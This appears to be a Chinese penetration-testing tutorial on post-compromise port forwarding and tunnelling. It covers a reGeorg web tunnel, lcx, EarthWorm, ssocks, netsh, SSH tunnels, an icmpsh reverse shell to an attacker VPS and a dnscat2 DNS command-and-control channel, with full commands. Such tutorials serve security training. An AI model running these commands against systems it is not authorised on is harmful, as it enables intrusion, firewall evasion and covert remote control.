0x00 简介

本文主要介绍一下端口转发工具。其中大部分内容均是从各位师傅那里转载过来的,最后会有标注相应的原文地址。
文中工具下载地址:https://github.com/Brucetg/Pentest-tools

0x01 reGeorg结合proxychains代理链

1.1 简介

在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。

那又有很多人会问了,为什么不直接通过登陆服务器来对内网中其他机器进行渗透,而是通过内网转发呢?

大部分时候我们获取到的服务器的权限不够,无法直接登录。 如果直接登录服务器中进行操作,我们需要上传工具进行很多操作,如果服务器缺少对应的环境变量或者组件,会导致渗透受阻。 而且远程登录会留下比较明显的痕迹 ,因此内网转发是我们最好的选择,在本地进行操作是最方便的。

reGeory适用于公网服务器只开放了80端口的情况。

reGeorg是用python写的利用Web进行代理的工具,流量只通过http传输,也就是http隧道。

1.2 使用方法

现在有这么一个环境,我们获取到了位于公网Web服务器的权限,或者我们拥有可以往公网Web服务器web目录下上传任何文件的权限,但是该服务器开启了防火墙,只开放了80端口。内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,通过公网服务器的80端口,访问和探测内网Web服务器的信息。
各类端口转发 - 图1
根据公网服务器网站是哪种脚本类型上传哪种类型的脚本,这里我搭建的是php环境,所以上传php脚本
各类端口转发 - 图2
然后,我们在浏览器访问我们上传的 php 脚本,上传路径我们一定得知道,这里我直接上传到网站根目录了。如果看到下面的Georg says, ‘All seems fine’ 表示一切正常!
各类端口转发 - 图3
然后我们在攻击机上执行如下语句:

  1. python reGeorgSocksProxy.py -p 1080 -u http://100.100.10.12/tunnel.nosocket.php
  2. #表示本地1080端口的流量都转发给指定的那个url

各类端口转发 - 图4

  1. vim /etc/proxychains.conf
  2. socks5 127.0.0.1 1080
  3. #配置proxychains代理链的配置文件,将代理设置成本机的1080端口

各类端口转发 - 图5

  1. proxychains curl 192.168.10.19
  2. #然后命令前面加上`proxychains`即可

所以我们流量的走向是: 流量->本地1080端口->web服务器的80端口(通过我们上传的php文件进行流量转发)->内网服务器->web服务器的80端口->本地1080端口
各类端口转发 - 图6
如图,可以看到我们已经可以访问内网的Web服务器。那么,我们就可以进一步渗透了!
这里需要主要,使用nmap程序时应该注意的点:

  1. #不能使用nmap默认的扫描方式,不能使用-A -T4参数
  2. proxychains nmap -Pn -sT -p 1-10000 -v 192.168.10.19

0x02 lcx端口转发

2.1 简介

lcx是一款端口转发工具,有三个功能:

  • 第一个功能将本地端口转发到远程主机某个端口上
  • 第二个功能将本地端口转发到本地另一个端口上
  • 第三个功能是进行监听并进行转发使用

Lcx使用的前提是在端口转发的时候需要一台公网服务器

Lcx程序多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便,因此在很多情况下,都会想方设法在被控制计算机上开启3389端口,然后通过lcx等进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口抓发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面(用的最多的是3389),这样我们就可以直接远程连接反弹的端口就可以与内网主机进行通信。故内网已经打通,说实话lcx的工具如同在路由器上面做了端口转发。

2.2 Linux下lcx使用方法

linux下的工具名称为portmap

  1. Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
  2. -v: version
  3. -h1: host1
  4. -h2: host2
  5. -p1: port1
  6. -p2: port2
  7. -log: log the data
  8. -m: the action method for this tool
  9. 1: listen on PORT1 and connect to HOST2:PORT2
  10. 2: listen on PORT1 and PORT2
  11. 3: connect to HOST1:PORT1 and HOST2:PORT2

1.在外网中转服务器上运行:

  1. ./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777

各类端口转发 - 图7
将本地7777端口上的服务转发到6666端口上

2.内网需要转发的机器上运行

  1. ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666

将本地22端口转发到外网机器上的6666端口

3.以上两个步骤就已经做好了端口转发,此时,我们通过连接外网服务器的7777端口就可以连接到那台内网主机的22端口
各类端口转发 - 图8

2.3 Windows下lcx使用方法

Windows下的工具名称为lcx

  1. Usage:lcx-<listen|tran|slave> <option> [-log logfile]
  2. -tran <等待连接的端口> <目标ip> <目标端口> (端口映射)
  3. -listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)
  4. -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)

1.在外网中转服务器上运行:

  1. lcx -listen 40050 10000

监听本地40050端口,同时将数据转发到10000端口

2.内网需要转发的机器上运行:

  1. lcx -slave 1.1.1.1 40050 10.10.0.3 3389

将本地的3389端口转发到外网1.1.1.1的40050端口上

3.此时我们通过连接外网服务器的10000端口就可以连接到那台内网主机的22端口

2.4 使用示例

Lcx有它的局限性,比如原始版本不支持linux,不免杀等等,但lcx在某些特定的场合依然发挥着重要的作用。同样基于Socket协议。

2.4.1 基本用法

现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用LCX进行端口转发,将内网Web主机的80端口转发到公网Web服务器的8080端口上,那么我们访问公网Web服务器的8080端口就相当于访问内网Web服务器的80端口。各类端口转发 - 图9公网web服务器的配置

  1. lcx.exe -tran 8080 192.168.10.19 80 #将本地的8080端口转发到192.168.10.19的80端口

各类端口转发 - 图10
当我们访问公网服务器的8080端口时,就相当于访问内网服务器的80端口各类端口转发 - 图11

2.4.2 LCX实现本地端口转发(Windows的场景)

我们现在拿到了一台主机的账号、密码和权限,现在想远程RDP连接该主机,该主机的3389端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将3389的流量转到33389端口上。各类端口转发 - 图12目标机的操作,将3389端口的流量转发给33389端口。

  1. lcx.exe -tran 33389 127.0.0.1 3389

各类端口转发 - 图13这个时候,只需要远程连接目标主机的33389端口即可。各类端口转发 - 图14

2.4.3 LCX实现本地端口转发(Linux的场景)

我们现在拿到了一台主机的账号、密码和权限,现在想远程SSH连接该主机,该主机的22端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将2222的流量转到22端口上。各类端口转发 - 图15目标机的操作,将2222端口的流量都转发到22端口上各类端口转发 - 图16只需要远程连接目标主机的2222端口即可。各类端口转发 - 图17

2.4.4 LCX实现SSH到内网主机(公网服务器是Windows)

现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。拓扑图如下。各类端口转发 - 图18
于是,我们还可以利用lcx来进行22端口的转发。

在公网windows服务器上的操作

  1. lcx.exe -tran 2222 192.168.10.129 22
  2. #意思就是将本地2222端口转发给192.168.10.129主机的22号端口

各类端口转发 - 图19所以,我们ssh连接到公网服务器的2222端口即可各类端口转发 - 图20

2.4.5 LCX实现SSH到内网主机(公网服务器是Linux)

各类端口转发 - 图21首先,在VPS上进行下面操作。监听 2222 的流量,将其转发给 22222 端口。相当于正向代理

  1. ./lcx -m 2 -p1 22222 -h2 127.0.0.1 -p2 2222
  2. #将本地2222端口的流量给本地的22222端口

各类端口转发 - 图22在内网主机上操作,将22端口的流量转发到VPS(114.118.80.138)的22222端口。相当于反向代理

  1. ./lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 114.118.80.138 -p2 22222
  2. #将本地22端口的流量给114.118.80.138的22222端口

各类端口转发 - 图23
我们连接VPS的2222端口,就相当于连接了内网主机的22端口。

  1. ssh root@114.118.80.138 2222
  2. #连接到114.118.80.138的2222端口

各类端口转发 - 图24
具体参考:
Lcx的多种用法:3个功能+9个参数
lcx端口转发
linux下内网端口转发工具:linux版lcx 使用方法
内网转发工具的使用

0x03 EarthWorm结合proxychains代理链

3.1 简介

EW 是一套便携式的网络穿透工具,具有 SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用,跨平台,任何平台都可以轻松使用!各类端口转发 - 图25

3.2 使用方法

现在有这么一个环境,我们获取到了位于公网Web服务器的权限,内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,访问和探测内网Web服务器的信息。
不管是linux还是windows系统,Earthworm的包都是一个,如图上面。直接进入包里面,选择对应的程序即可执行各类端口转发 - 图26

3.3 EW正向代理

Web服务器(被控制的主机)的设置:

  1. 如果是Linux系统
  2. ./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口
  3. 如果是Windows系统
  4. ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口

攻击击的设置:

  1. # Linux系统
  2. # 配置proxychains代理链的配置文件,将代理设置成100.100.10.12的1080端口
  3. vim /etc/proxychains.conf
  4. socks5 100.100.10.12 1080
  5. # 通过代理去访问内网主机
  6. proxychains curl 192.168.10.19
  7. # Windows系统
  8. # 浏览器中设置代理为 100.100.10.12 的1080端口,或者利用 Proxifier、sockscap64 设置全局代理

3.4 EW反向代理

Web服务器(被控制的主机)的设置:

  1. #Linux系统:
  2. ./ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888
  3. #将本机的流量全部转发到100.100.10.13的8888端口
  4. #Windows系统:
  5. ew_for_Win.exe -s rssocks -d 100.100.10.13 -e 8888
  6. #将本机的流量全部转发到100.100.10.13的8888端口

攻击击的设置:

  1. #Linux系统
  2. ./ew_for_linux64 -s rcsocks -l 1080 -e 8888
  3. #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
  4. #配置proxychains代理链的配置文件,将代理设置成127.0.0.1的1080端口
  5. vim /etc/proxychains.conf
  6. socks5 127.0.0.1 1080
  7. #通过代理去访问内网主机
  8. proxychains curl 192.168.10.19
  1. #Windows系统
  2. ew_for_Win.exe -s rcsocks -l 1080 -e 8888
  3. #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
  4. 浏览器中设置代理为 100.100.10.121080端口,或者利用 Proxifiersockscap64 设置全局代理

0x04 Ssocks正向代理(Linux)

4.1 简介

Ssocks是Linux下一款端口转发的工具,而proxychains代理链是Linux下一款代理设置工具。由于Ssocks不稳定,所以不建议使用。
现在有这么一个环境,我们获取到了位于公网Web服务器的shell,该web服务器是Linux系统,内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,访问和探测内网Web服务器的信息。
首先,我们的主机和公网的Web服务器都得安装上Ssocks。
安装Ssocks的话,直接安装包安装,软件会被安装在 /usr/local/bin目录下,所以我们得去该目录执行命令。各类端口转发 - 图27

4.2 正向代理

Web服务器(被控制的主机)的操作:

  1. ./rssocks -vv -s 100.100.10.13:9999
  2. #接收100.100.10.13的9999端口的流量

各类端口转发 - 图28
攻击机的操作:

  1. #配置proxychains代理链的配置文件,将代理设置成socks5 127.0.0.1 的8080端口
  2. vim /etc/proxychains.conf
  3. socks5 127.0.0.1 8080
  1. #然后将本地的1080端口的流量转发到9999端口
  2. ./rcsocks -l 1080 -p 9999 -vv

各类端口转发 - 图29

  1. #通过代理去访问内网主机
  2. proxychains curl 192.168.10.19

各类端口转发 - 图30

0x05 Netsh实现端口转发

5.1 简介

Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射。
现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用Netsh实现一个端口映射,只要我们访问中间Web服务器公网地址的指定端口,就相当于我们访问内网Web服务器的80端口。
各类端口转发 - 图31

5.2 使用方法

Web服务器(被控制的主机)的配置

  1. netsh interface portproxy add v4tov4 listenaddress=100.100.10.11 listenport=8080 connectaddress=192.168.10.19 connectport=80
  2. #新建一个端口映射,将100.100.10.11的8080端口和192.168.10.19的80端口做个映射
  3. netsh interface portproxy show all
  4. #查看端口映射
  5. netsh interface portproxy delete v4tov4 listenaddress=100.100.10.11 listenport=8080
  6. #删除端口映射

各类端口转发 - 图32
那么,我们通过访问Web服务器的公网地址的8080端口就可以访问内网中的Web服务器了。各类端口转发 - 图33

5.3 Netsh实现SSH到内网主机(远程端口转发)

现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。拓扑图如下。各类端口转发 - 图34
于是,我们还可以利用windows自带的Netsh来进行22端口的转发。

在公网windows服务器上的操作:

  1. netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=2222 connectaddress=192.168.10.129 connectport=22
  2. #监听100.100.10.14的2222端口,映射到192.168.10.129 的22端口上

各类端口转发 - 图35
所以,我们ssh连接到公网服务器的2222端口即可
各类端口转发 - 图36

5.4 Netsh实现3389到内网主机(远程端口转发)

现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。拓扑图如下。各类端口转发 - 图37
于是,我们还可以利用Windows自带的Netsh来进行3389端口的映射。在公网windows服务器上的操作:

  1. netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=3340 connectaddress=192.168.10.152 connectport=3389

各类端口转发 - 图38
于是,我们远程3389连接公网服务器100.100.10.14的3340端口各类端口转发 - 图39各类端口转发 - 图40

5.5 Netsh实现本地端口转发

现在我们有这么一个环境,我们获得了公网服务器的权限,并且获得了该服务器的账号密码。该服务器的3389端口也开放着,但是只对内开放,所以我们现在就需要做本地端口映射,将3389端口的流量映射到其他端口。
该服务器的操作:

  1. netsh interface portproxy add v4tov4 listenaddress=192.168.10.15 listenport=13389 connectaddress=192.168.10.15 connectport=3389

各类端口转发 - 图41
只需要远程连接该主机的13389端口即可:各类端口转发 - 图42各类端口转发 - 图43

0x06 ssh隧道代理转发

6.1 简介

ssh有三个强大的端口转发命令,分别是本地转发,远程转发,动态转发。

  1. 本地访问127.0.0.1:port1就是host:port2(用的更多)
  2. ssh -CfNg -L port2:127.0.0.1:port1 user@host #本地转发
  3. 访问host:port2就是访问127.0.0.1:port1
  4. ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
  5. 可以将dmz_hosthostport端口通过remote_ip转发到本地的port端口
  6. ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
  7. 可以将dmz_hosthostport端口转发到remote_ipport端口
  8. ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类

socket代理:

  1. ssh -qTfnN -D port remotehost

6.2 参数详解

  1. -C Enable compression 压缩数据传输
  2. -q Quiet mode. 安静模式
  3. -T Disable pseudo-tty allocation. 不占用 shell
  4. -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
  5. -N Do not execute a remote command. 不执行远程命令,端口转发就用它了
  6. -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
  7. -R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
  8. -D port 指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
  9. -g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接

6.3 使用方法

1.ssh本地转发

远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。

  1. ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121

各类端口转发 - 图44

2.ssh远程转发

内网的服务器,外网不能直接访问,使用远程转发,将内外的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。

  1. ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142

各类端口转发 - 图45各类端口转发 - 图46
现在在192.168.153.142访问127.0.0.1:81就是访问内网的端口。

3.ssh动态转发socks代理

把远程主机设置成代理,来代理访问不能访问的资源。在本地机器上分配了一个监听端口,一旦这个端口上有了连接,该连接就经过ssh隧道转发出去,根据应用程序的协议可以判断出远程主机将和哪里连接。

  1. ssh -qTfnN -D 1080 root@45.32.31.121

各类端口转发 - 图47各类端口转发 - 图48

0x07 ICMP隧道代理转发

7.1 简介

ICMP隧道是通过将任意数据注入发送到远程计算机的回送数据包来工作的,要判断是否使用ICMP隧道,我们只需要关注一件事:可以ping通一个外部服务器。如果能到达外部网络,那么很有可能可以建立一个icmp隧道,缺点是需要root/administrator权限

7.2 使用方法

icmpsh
具有公网ip的vps上:

  1. git clone https://github.com/inquisb/icmpsh.git
  2. apt-get install python-impacket
  3. sysctl -w net.ipv4.icmp_echo_ignore_all=1
  4. python icmpsh_m.py 公网ip地址 内网目标机器ip

目标机器:

  1. icmpsh.exe -t 公网ip地址 -d 500 -b 30 -s 128

就会在具有公网ip的主机上收到一个cmd shell

0x08 DNS隧道

8.1 简介

不论对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。

8.2 使用方法

Dnscat2
github项目地址:https://github.com/iagox86/dnscat2
Dnscat2通过建立C&C通道递归DNS查询。此工具不需要root/administrator权限(在Windows和Linux上都可以使用)。他还支持端口转发

Server端:

  1. ruby ./dnscat2.rb tunneldomain.com

Client端:

  1. ./dnscat2 tunneldomain.com

收到Server端的连接后,可以使用windows命令查看活动会话:

  1. dnscat2> windows
  2. 0 :: main [active]
  3. dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  4. 1 :: command session (debian)
  5. 2 :: sh (debian) [*]

要启动端口转发,请选择一个命令会话session -i:

  1. dnscat2> session -i 1
  2. New window created: 1
  3. New window created: 1
  4. history_size (session) => 1000
  5. This is a command session!
  6. That means you can enter a dnscat2 command such as
  7. 'ping'! For a full list of clients, try 'help'.
  8. command session (debian) 1>

使用 listen [lhost:]lport rhost:rport 命令转发端口:

  1. command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

这将绑定靶机上的8080端口,并将所有链接转发到10.0.0.1:80上。
具体参考:通过DNS协议绕过防火墙

0x09 参考链接

浅谈内网端口转发
通过DNS协议绕过防火墙
https://www.cnblogs.com/bmjoker/p/10264148.html
https://blog.csdn.net/qq_36119192/article/details/84568266